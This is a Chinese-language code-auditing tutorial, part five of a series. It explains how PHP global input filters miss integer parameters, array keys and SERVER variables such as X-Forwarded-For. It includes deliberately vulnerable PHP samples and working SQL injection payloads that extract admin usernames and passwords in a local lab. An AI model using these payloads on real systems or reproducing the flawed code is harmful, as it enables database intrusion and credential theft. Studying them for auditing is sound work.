代码审计的艺术系列—第五篇

0x01前言

作者:HackBraid,乌云核心白帽子。 白帽子分享之代码审计的艺术系列(二、三、四季)是对绕过全局防护的场景进行的总结。没看前几季的同学,可以关注下。 代码审计的艺术系列—第一篇 代码审计的艺术系列—第二篇 代码审计的艺术系列—第三篇 代码审计的艺术系列—第四篇 接下来两篇介绍全局防护存在的盲点,首先是上篇:
盲点如下:
①注入点类似id=1这种整型的参数就会完全无视GPC的过滤;
②注入点包含键值对的,那么这里只检测了value,对key的过滤就没有防护;
③有时候全局的过滤只过滤掉GET、POST和COOKIE,但是没过滤SERVER等变量。
附常见的SERVER变量(具体含义自行百度):QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE

0x02准备:

知识储备:php基础、MySql入门
工具:notepad++
服务器环境:wamp
测试代码和sql的链接: http://pan.baidu.com/s/1cqkg7G 密码: nesy

0x03全局防护盲点总结上篇的脑图:

全局防护盲点脑图

0x04数字型注入:

完全无视GPC的数字型的注入,其实仔细总结下发现还是很多可以学习的地方。

1.传入的参数未做intval转换、构造的sql语句没有单引号保护

缺陷代码:
<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$id = isset($_GET['id']) ? $_GET['id']: 1;
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql, $conn) or die(mysql_error());
?>

这种数字型的注入是全局防护的盲点,构造注入语句完全不需要单引号的支持,所以也就不存在转义了。例如我们直接构造获取管理员账户密码的POC:

http://localhost/sqltest/mangdian/int1.php?id=-1 union select 1,2,concat(name,0x23,pass) from admin%23

代码审计5-1

 

2.php弱类型语言,判断逻辑错误引发注入

缺陷代码:

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$id = isset($_GET['id']) ? $_GET['id']: 1;
//增加逻辑判断
if($id<1){
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql, $conn) or die(mysql_error());
}
?>

当然前提是数字型的注入,这里特殊之处在于增加了个if($id<1)的逻辑判断,但PHP弱类型语言在逻辑判断上0<1和0 union select 1<1是等价的,都返回True。所以构造获取管理员账户密码的POC:http://localhost/sqltest/mangdian/int2.php?id=0 union select 1,2,concat(name,0x23,pass) from admin%23

代码审计5-2

3.过程中不全是数字型,忘记加单引号
这种情况是在第一条sql语句里是有单引号保护的,紧接着第二条sql语句没有单引号保护引发的注入,

缺陷代码:

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$id = isset($_GET['id']) ? $_GET['id']: 1;
//第一条sql语句id参数有单引号保护
$sql = "SELECT * FROM news WHERE id='".$id."'";
$result = mysql_query($sql, $conn) or die(mysql_error());
//第二条sql语句id参数没有单引号保护
$sql2 = "SELECT * FROM news WHERE id=".$id;
$result2 = mysql_query($sql2, $conn) or die(mysql_error());
?>

第一条sql语句有单引号保护,第二条sql语句没有了单引号保护从而可以进一步注入。构造获取管理员账户密码的POC:http://localhost/sqltest/mangdian/int3.php?id=0 union select 1,2,concat(name,0x23,pass) from admin%23
代码审计5-3

0x04 数组类型,全局防护只过滤了value/key,未过滤代入查询 全局防护的代码只对数组中的vaule进行了过滤,key未过滤引发注入,全局防护缺陷代码:
<?php
if (!empty($_GET))
{
$_GET=Add_S($_GET);
}
if (!empty($_POST))
{
$_POST=Add_S($_POST);
}
if (!empty($_COOKIE))
{
$_COOKIE=Add_S($_COOKIE);
}function Add_S($array){
foreach($array as $key=>$value){
if(!is_array($value)){
$value=str_replace("&#x","& # x",$value);         //过滤一些不安全字符
$value=preg_replace("/eval/i","eva l",$value);      //过滤不安全函数
!get_magic_quotes_gpc() && $value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key]=Add_S($array[$key]);
}
}
return $array;
}
可以看到,对GET、POST和COOKIE传递的数组参数只过滤了value,忽视了key,漏洞代码如下:

<?php
require_once('commonnew.php');
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$title = isset($_POST['title']) ? $_POST['title']: 1;
foreach($title as $key=>$value){
$sql = "SELECT * FROM news WHERE id='".$key."' and title='".$value."'";
$result = mysql_query($sql, $conn) or die(mysql_error());
}
?>

虽然查询语句中WHERE id=’”.$key.”‘有单引号保护,但是全局防护代码就没过滤key就存在注入了,首先POST请求下:http://localhost/sqltest/mangdian/array.php title[1]=news title发现可以获取正常内容:

代码审计5-4

查询语句为:SELECT * FROM news WHERE id=’1’ and title=’news title’
构造获取管理员账户密码的POST请求:http://localhost/sqltest/mangdian/array title[-1’ union select 1,2,concat(name,0x23,pass) from admin#]=news title

代码审计5-5

0x05 SERVER变量未过滤

上面的全局防护只过滤了GET、POST和COOKIE而忽略了SERVER变量,SERVER变量的注入常常发生在获取用户ip并入库的函数上,类似如下代码:
//获取访问者IP(PHP代码/函数)
function get_ip(){
if(getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"),"unknown")){
$ip=getenv("HTTP_CLIENT_IP");
}else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"),"unknown")){
$ip=getenv("HTTP_X_FORWARDED_FOR");
}else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),"unknown")){
$ip=getenv("REMOTE_ADDR");
}else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],"unknown")){
$ip=$_SERVER['REMOTE_ADDR'];
}else{
$ip="unknown" ;
}
return $ip;
}
通过$_SERVER变量获取客户端ip且可以通过X_FORWARDED_FOR伪造,然后这里对X_FORWARDED_FOR是没有任何正则处理的,所以可以构造注入语句,缺陷代码如下:
<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$id = get_ip();
$sql = "SELECT * FROM news WHERE id='".$id."'";;
$result = mysql_query($sql, $conn) or die(mysql_error());?>

 

这里可以在请求中添加获取管理员账户密码的POC为 X-Forwarded-For:-1’ union select 1,2,concat(name,0x23,pass) from admin#,由于SERVER变量没过滤所以这里单引号保护也就没用了。成功获取管理员账户密码如下:

代码审计5-6

原创文章,转载请注明: 转载自安兔|anntoo.com 互联网安全新媒体平台

本文链接地址: 代码审计的艺术系列—第五篇

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值